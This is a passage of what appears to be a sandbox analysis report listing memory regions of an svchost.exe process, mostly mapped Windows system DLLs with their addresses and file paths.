	        start_va = 0x34b0000
	          end_va = 0x35affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000034b0000"
	        filename = ""

Region:
	              id = 2258
	        start_va = 0x3620000
	          end_va = 0x369ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003620000"
	        filename = ""

Region:
	              id = 2259
	        start_va = 0x3700000
	          end_va = 0x377ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003700000"
	        filename = ""

Region:
	              id = 2260
	        start_va = 0x3780000
	          end_va = 0x37fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003780000"
	        filename = ""

Region:
	              id = 2261
	        start_va = 0x38b0000
	          end_va = 0x392ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000038b0000"
	        filename = ""

Region:
	              id = 2262
	        start_va = 0x3940000
	          end_va = 0x39bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003940000"
	        filename = ""

Region:
	              id = 2263
	        start_va = 0x39f0000
	          end_va = 0x3a6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000039f0000"
	        filename = ""

Region:
	              id = 2264
	        start_va = 0x3ad0000
	          end_va = 0x3b4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003ad0000"
	        filename = ""

Region:
	              id = 2265
	        start_va = 0x3c30000
	          end_va = 0x3caffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003c30000"
	        filename = ""

Region:
	              id = 2266
	        start_va = 0x3cc0000
	          end_va = 0x3d3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003cc0000"
	        filename = ""

Region:
	              id = 2267
	        start_va = 0x3da0000
	          end_va = 0x3e1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003da0000"
	        filename = ""

Region:
	              id = 2268
	        start_va = 0x3e20000
	          end_va = 0x401ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003e20000"
	        filename = ""

Region:
	              id = 2269
	        start_va = 0x76e30000
	          end_va = 0x76f29fff
	     entry_point = 0x76e30000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 2270
	        start_va = 0x76f30000
	          end_va = 0x7704efff
	     entry_point = 0x76f30000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2271
	        start_va = 0x77050000
	          end_va = 0x771f8fff
	     entry_point = 0x77050000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2272
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2273
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2274
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2275
	        start_va = 0xff660000
	          end_va = 0xff66afff
	     entry_point = 0xff660000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 2276
	        start_va = 0x7fef77e0000
	          end_va = 0x7fef77ebfff
	     entry_point = 0x7fef77e0000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 2277
	        start_va = 0x7fef7940000
	          end_va = 0x7fef7959fff
	     entry_point = 0x7fef7940000
	     region_type = mapped_file
	            name = "nci.dll"
	        filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll")

Region:
	              id = 2278
	        start_va = 0x7fef7960000
	          end_va = 0x7fef79ddfff
	     entry_point = 0x7fef7960000
	     region_type = mapped_file
	            name = "wbemess.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll")

Region:
	              id = 2279
	        start_va = 0x7fef79e0000
	          end_va = 0x7fef7a53fff
	     entry_point = 0x7fef79e0000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 2280
	        start_va = 0x7fef7a60000
	          end_va = 0x7fef7acafff
	     entry_point = 0x7fef7a60000
	     region_type = mapped_file
	            name = "hnetcfg.dll"
	        filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll")

Region:
	              id = 2281
	        start_va = 0x7fef7ad0000
	          end_va = 0x7fef7b8bfff
	     entry_point = 0x7fef7ad0000
	     region_type = mapped_file
	            name = "wmiprvsd.dll"
	        filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll")

Region:
	              id = 2282
	        start_va = 0x7fef7f90000
	          end_va = 0x7fef8013fff
	     entry_point = 0x7fef7f90000
	     region_type = mapped_file
	            name = "netcfgx.dll"
	        filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll")

Region:
	              id = 2283
	        start_va = 0x7fef8020000
	          end_va = 0x7fef8092fff
	     entry_point = 0x7fef8020000
	     region_type = mapped_file
	            name = "repdrvfs.dll"
	        filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll")

Region:
	              id = 2284
	        start_va = 0x7fef80a0000
	          end_va = 0x7fef80c5fff
	     entry_point = 0x7fef80a0000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")

Region:
	              id = 2285
	        start_va = 0x7fef82d0000
	          end_va = 0x7fef831ffff
	     entry_point = 0x7fef82d0000
	     region_type = mapped_file
	            name = "clusapi.dll"
	        filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll")

Region:
	              id = 2286
	        start_va = 0x7fef8320000
	          end_va = 0x7fef8333fff
	     entry_point = 0x7fef8320000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 2287
	        start_va = 0x7fef8340000
	          end_va = 0x7fef83aefff
	     entry_point = 0x7fef8340000
	     region_type = mapped_file
	            name = "esscli.dll"
	        filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll")

Region:
	              id = 2288
	        start_va = 0x7fef83b0000
	          end_va = 0x7fef84defff
	     entry_point = 0x7fef83b0000
	     region_type = mapped_file
	            name = "wbemcore.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll")

Region:
	              id = 2289
	        start_va = 0x7fef84e0000
	          end_va = 0x7fef84f5fff
	     entry_point = 0x7fef84e0000
	     region_type = mapped_file
	            name = "ncobjapi.dll"
	        filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")

Region:
	              id = 2290
	        start_va = 0x7fef8500000
	          end_va = 0x7fef8546fff
	     entry_point = 0x7fef8500000
	     region_type = mapped_file
	            name = "wdscore.dll"
	        filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll")

Region:
	              id = 2291
	        start_va = 0x7fef8550000
	          end_va = 0x7fef8591fff
	     entry_point = 0x7fef8550000
	     region_type = mapped_file
	            name = "sqmapi.dll"
	        filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll")

Region:
	              id = 2292
	        start_va = 0x7fef85a0000
	          end_va = 0x7fef85b0fff
	     entry_point = 0x7fef85a0000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 2293
	        start_va = 0x7fef85c0000
	          end_va = 0x7fef8651fff
	     entry_point = 0x7fef85c0000
	     region_type = mapped_file
	            name = "iphlpsvc.dll"
	        filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll")

Region:
	              id = 2294
	        start_va = 0x7fef8660000
	          end_va = 0x7fef8686fff
	     entry_point = 0x7fef8660000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 2295
	        start_va = 0x7fef8690000
	          end_va = 0x7fef8771fff
	     entry_point = 0x7fef8690000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 2296
	        start_va = 0x7fef8830000
	          end_va = 0x7fef8854fff
	     entry_point = 0x7fef8830000
	     region_type = mapped_file
	            name = "browser.dll"
	        filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll")

Region:
	              id = 2297
	        start_va = 0x7fef8860000
	          end_va = 0x7fef88e5fff
	     entry_point = 0x7fef8860000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 2298
	        start_va = 0x7fef88f0000
	          end_va = 0x7fef8a9ffff
	     entry_point = 0x7fef88f0000
	     region_type = mapped_file
	            name = "vssapi.dll"
	        filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll")

Region:
	              id = 2299
	        start_va = 0x7fef9a00000
	          end_va = 0x7fef9aedfff
	     entry_point = 0x7fef9a00000
	     region_type = mapped_file
	            name = "actxprxy.dll"
	        filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")

Region:
	              id = 2300
	        start_va = 0x7fefa200000
	          end_va = 0x7fefa276fff
	     entry_point = 0x7fefa200000
	     region_type = mapped_file
	            name = "taskcomp.dll"
	        filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll")

Region:
	              id = 2301
	        start_va = 0x7fefa5c0000
	          end_va = 0x7fefa5c9fff
	     entry_point = 0x7fefa5c0000
	     region_type = mapped_file
	            name = "ktmw32.dll"
	        filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll")

Region:
	              id = 2302
	        start_va = 0x7fefa5d0000
	          end_va = 0x7fefa6e1fff
	     entry_point = 0x7fefa5d0000
	     region_type = mapped_file
	            name = "schedsvc.dll"
	        filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll")

Region:
	              id = 2303
	        start_va = 0x7fefa6f0000
	          end_va = 0x7fefa6fefff
	     entry_point = 0x7fefa6f0000
	     region_type = mapped_file
	            name = "wiarpc.dll"
	        filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll")

Region:
	              id = 2304
	        start_va = 0x7fefa700000
	          end_va = 0x7fefa708fff
	     entry_point = 0x7fefa700000
	     region_type = mapped_file
	            name = "fvecerts.dll"
	        filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll")

Region:
	              id = 2305
	        start_va = 0x7fefa710000
	          end_va = 0x7fefa718fff
	     entry_point = 0x7fefa710000
	     region_type = mapped_file
	            name = "tbs.dll"
	        filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll")

Region:
	              id = 2306
	        start_va = 0x7fefa720000
	          end_va = 0x7fefa775fff
	     entry_point = 0x7fefa720000
	     region_type = mapped_file
	            name = "fveapi.dll"
	        filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll")

Region:
	              id = 2307
	        start_va = 0x7fefa780000
	          end_va = 0x7fefa797fff
	     entry_point = 0x7fefa780000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2308
	        start_va = 0x7fefa7a0000
	          end_va = 0x7fefa7fdfff
	     entry_point = 0x7fefa7a0000
	     region_type = mapped_file
	            name = "shsvcs.dll"
	        filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll")

Region:
	              id = 2309
	        start_va = 0x7fefa800000
	          end_va = 0x7fefa810fff
	     entry_point = 0x7fefa800000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2310
	        start_va = 0x7fefa820000
	          end_va = 0x7fefa838fff
	     entry_point = 0x7fefa820000
	     region_type = mapped_file
	            name = "resutils.dll"
	        filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll")

Region:
	              id = 2311
	        start_va = 0x7fefa850000
	          end_va = 0x7fefa8a2fff
	     entry_point = 0x7fefa850000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 2312
	        start_va = 0x7fefaa60000
	          end_va = 0x7fefaa73fff
	     entry_point = 0x7fefaa60000
	     region_type = mapped_file
	            name = "sens.dll"
	        filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll")

Region:
	              id = 2313
	        start_va = 0x7fefaa80000
	          end_va = 0x7fefaa8afff
	     entry_point = 0x7fefaa80000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2314
	        start_va = 0x7fefaa90000
	          end_va = 0x7fefaab6fff
	     entry_point = 0x7fefaa90000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2315
	        start_va = 0x7fefaad0000
	          end_va = 0x7fefab36fff
	     entry_point = 0x7fefaad0000
	     region_type = mapped_file
	            name = "es.dll"
	        filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")

Region:
	              id = 2316
	        start_va = 0x7fefab40000
	          end_va = 0x7fefab4afff
	     entry_point = 0x7fefab40000
	     region_type = mapped_file
	            name = "slc.dll"
	        filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll")

Region:
	              id = 2317
	        start_va = 0x7fefab50000
	          end_va = 0x7fefab5bfff
	     entry_point = 0x7fefab50000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 2318
	        start_va = 0x7fefacd0000
	          end_va = 0x7fefacdffff
	     entry_point = 0x7fefacd0000
	     region_type = mapped_file
	            name = "themeservice.dll"
	        filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll")

Region:
	              id = 2319
	        start_va = 0x7feface0000
	          end_va = 0x7fefacf8fff
	     entry_point = 0x7feface0000
	     region_type = mapped_file
	            name = "atl.dll"
	        filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll")

Region:
	              id = 2320
	        start_va = 0x7fefad00000
	          end_va = 0x7fefad36fff
	     entry_point = 0x7fefad00000
	     region_type = mapped_file
	            name = "profsvc.dll"
	        filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll")

Region:
	              id = 2321
	        start_va = 0x7fefad70000
	          end_va = 0x7fefae31fff
	     entry_point = 0x7fefad70000
	     region_type = mapped_file
	            name = "gpsvc.dll"
	        filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll")

Region:
	              id = 2322
	        start_va = 0x7fefaf20000
	          end_va = 0x7fefaf34fff
	     entry_point = 0x7fefaf20000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 2323
	        start_va = 0x7fefaf40000
	          end_va = 0x7fefaf6cfff
	     entry_point = 0x7fefaf40000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 2324
	        start_va = 0x7fefaf70000
	          end_va = 0x7fefaf8cfff
	     entry_point = 0x7fefaf70000
	     region_type = mapped_file
	            name = "mmcss.dll"
	        filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll")

Region:
	              id = 2325
	        start_va = 0x7fefaf90000
	          end_va = 0x7fefaf98fff
	     entry_point = 0x7fefaf90000
	     region_type = mapped_file
	            name = "avrt.dll"
	        filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll")

Region:
	              id = 2326
	        start_va = 0x7fefb050000
	          end_va = 0x7fefb057fff
	     entry_point = 0x7fefb050000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 2327
	        start_va = 0x7fefb060000
	          end_va = 0x7fefb09cfff
	     entry_point = 0x7fefb060000
	     region_type = mapped_file
	            name = "srvsvc.dll"
	        filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll")

Region:
	              id = 2328
	        start_va = 0x7fefb1a0000
	          end_va = 0x7fefb1b3fff
	     entry_point = 0x7fefb1a0000
	     region_type = mapped_file
	            name = "samcli.dll"
	        filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")

Region:
	              id = 2329
	        start_va = 0x7fefb1c0000
	          end_va = 0x7fefb1d4fff
	     entry_point = 0x7fefb1c0000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 2330
	        start_va = 0x7fefb1e0000
	          end_va = 0x7fefb1ebfff
	     entry_point = 0x7fefb1e0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 2331
	        start_va = 0x7fefb1f0000
	          end_va = 0x7fefb205fff
	     entry_point = 0x7fefb1f0000
	     region_type = mapped_file
	            name = "netapi32.dll"
	        filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")

Region:
	              id = 2332
	        start_va = 0x7fefb210000
	          end_va = 0x7fefb217fff
	     entry_point = 0x7fefb210000
	     region_type = mapped_file
	            name = "sscore.dll"
	        filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll")

Region:
	              id = 2333
	        start_va = 0x7fefb220000
	          end_va = 0x7fefb22efff
	     entry_point = 0x7fefb220000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 2334
	        start_va = 0x7fefb270000
	          end_va = 0x7fefb286fff
	     entry_point = 0x7fefb270000
	     region_type = mapped_file
	            name = "vsstrace.dll"
	        filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll")

Region:
	              id = 2335
	        start_va = 0x7fefb290000
	          end_va = 0x7fefb2cffff
	     entry_point = 0x7fefb290000
	     region_type = mapped_file
	            name = "wmisvc.dll"
	        filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll")

Region:
	              id = 2336
	        start_va = 0x7fefb320000
	          end_va = 0x7fefb330fff
	     entry_point = 0x7fefb320000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 2337
	        start_va = 0x7fefb480000
	          end_va = 0x7fefb4b4fff
	     entry_point = 0x7fefb480000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 2338
	        start_va = 0x7fefb8f0000
	          end_va = 0x7fefb945fff
	     entry_point = 0x7fefb8f0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 2339
	        start_va = 0x7fefb950000
	          end_va = 0x7fefba7bfff
	     entry_point = 0x7fefb950000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 2340
	        start_va = 0x7fefba80000
	          end_va = 0x7fefba9cfff
	     entry_point = 0x7fefba80000
	     region_type = mapped_file
	            name = "samlib.dll"
	        filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll")

Region:
	              id = 2341
	        start_va = 0x7fefbad0000
	          end_va = 0x7fefbcc3fff
	     entry_point = 0x7fefbad0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 2342
	        start_va = 0x7fefc160000
	          end_va = 0x7fefc16bfff
	     entry_point = 0x7fefc160000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 2343
	        start_va = 0x7fefc170000
	          end_va = 0x7fefc22afff
	     entry_point = 0x7fefc170000
	     region_type = mapped_file
	            name = "firewallapi.dll"
	        filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")

Region:
	              id = 2344
	        start_va = 0x7fefc230000
	          end_va = 0x7fefc236fff
	     entry_point = 0x7fefc230000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 2345
	        start_va = 0x7fefc2f0000
	          end_va = 0x7fefc2fcfff
	     entry_point = 0x7fefc2f0000
	     region_type = mapped_file
	            name = "pcwum.dll"
	        filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll")

Region:
	              id = 2346
	        start_va = 0x7fefc330000
	          end_va = 0x7fefc34afff
	     entry_point = 0x7fefc330000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 2347
	        start_va = 0x7fefc350000
	          end_va = 0x7fefc36dfff
	     entry_point = 0x7fefc350000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 2348
	        start_va = 0x7fefc370000
	          end_va = 0x7fefc381fff
	     entry_point = 0x7fefc370000
	     region_type = mapped_file
	            name = "devrtl.dll"
	        filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll")

Region:
	              id = 2349
	        start_va = 0x7fefc420000
	          end_va = 0x7fefc458fff
	     entry_point = 0x7fefc420000
	     region_type = mapped_file
	            name = "ubpm.dll"
	        filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll")

Region:
	              id = 2350
	        start_va = 0x7fefc460000
	          end_va = 0x7fefc469fff
	     entry_point = 0x7fefc460000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 2351
	        start_va = 0x7fefc590000
	          end_va = 0x7fefc5d6fff
	     entry_point = 0x7fefc590000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2352
	        start_va = 0x7fefc680000
	          end_va = 0x7fefc6affff
	     entry_point = 0x7fefc680000
	     region_type = mapped_file
	            name = "logoncli.dll"
	        filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll")

Region:
	              id = 2353
	        start_va = 0x7fefc6b0000
	          end_va = 0x7fefc70afff
	     entry_point = 0x7fefc6b0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 2354
	        start_va = 0x7fefc820000
	          end_va = 0x7fefc826fff
	     entry_point = 0x7fefc820000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 2355
	        start_va = 0x7fefc830000
	          end_va = 0x7fefc884fff
	     entry_point = 0x7fefc830000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 2356
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc8a6fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2357
	        start_va = 0x7fefc9a0000
	          end_va = 0x7fefc9d1fff
	     entry_point = 0x7fefc9a0000
	     region_type = mapped_file
	            name = "netjoin.dll"
	        filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll")

Region:
	              id = 2358
	        start_va = 0x7fefc9f0000
	          end_va = 0x7fefc9f9fff
	     entry_point = 0x7fefc9f0000
	     region_type = mapped_file
	            name = "sysntfy.dll"
	        filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll")

Region:
	              id = 2359
	        start_va = 0x7fefca80000
	          end_va = 0x7fefcaaefff
	     entry_point = 0x7fefca80000
	     region_type = mapped_file
	            name = "authz.dll"
	        filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll")

Region:
	              id = 2360
	        start_va = 0x7fefcac0000
	          end_va = 0x7fefcb2cfff
	     entry_point = 0x7fefcac0000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 2361
	        start_va = 0x7fefcb30000
	          end_va = 0x7fefcb43fff
	     entry_point = 0x7fefcb30000
	     region_type = mapped_file
	            name = "cryptdll.dll"
	        filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll")

Region:
	              id = 2362
	        start_va = 0x7fefcd80000
	          end_va = 0x7fefcda2fff
	     entry_point = 0x7fefcd80000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 2363
	        start_va = 0x7fefce30000
	          end_va = 0x7fefce3afff
	     entry_point = 0x7fefce30000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 2364
	        start_va = 0x7fefce60000
	          end_va = 0x7fefce84fff
	     entry_point = 0x7fefce60000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2365
	        start_va = 0x7fefce90000
	          end_va = 0x7fefce9efff
	     entry_point = 0x7fefce90000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2366
	        start_va = 0x7fefcea0000
	          end_va = 0x7fefcf30fff
	     entry_point = 0x7fefcea0000
	     region_type = mapped_file
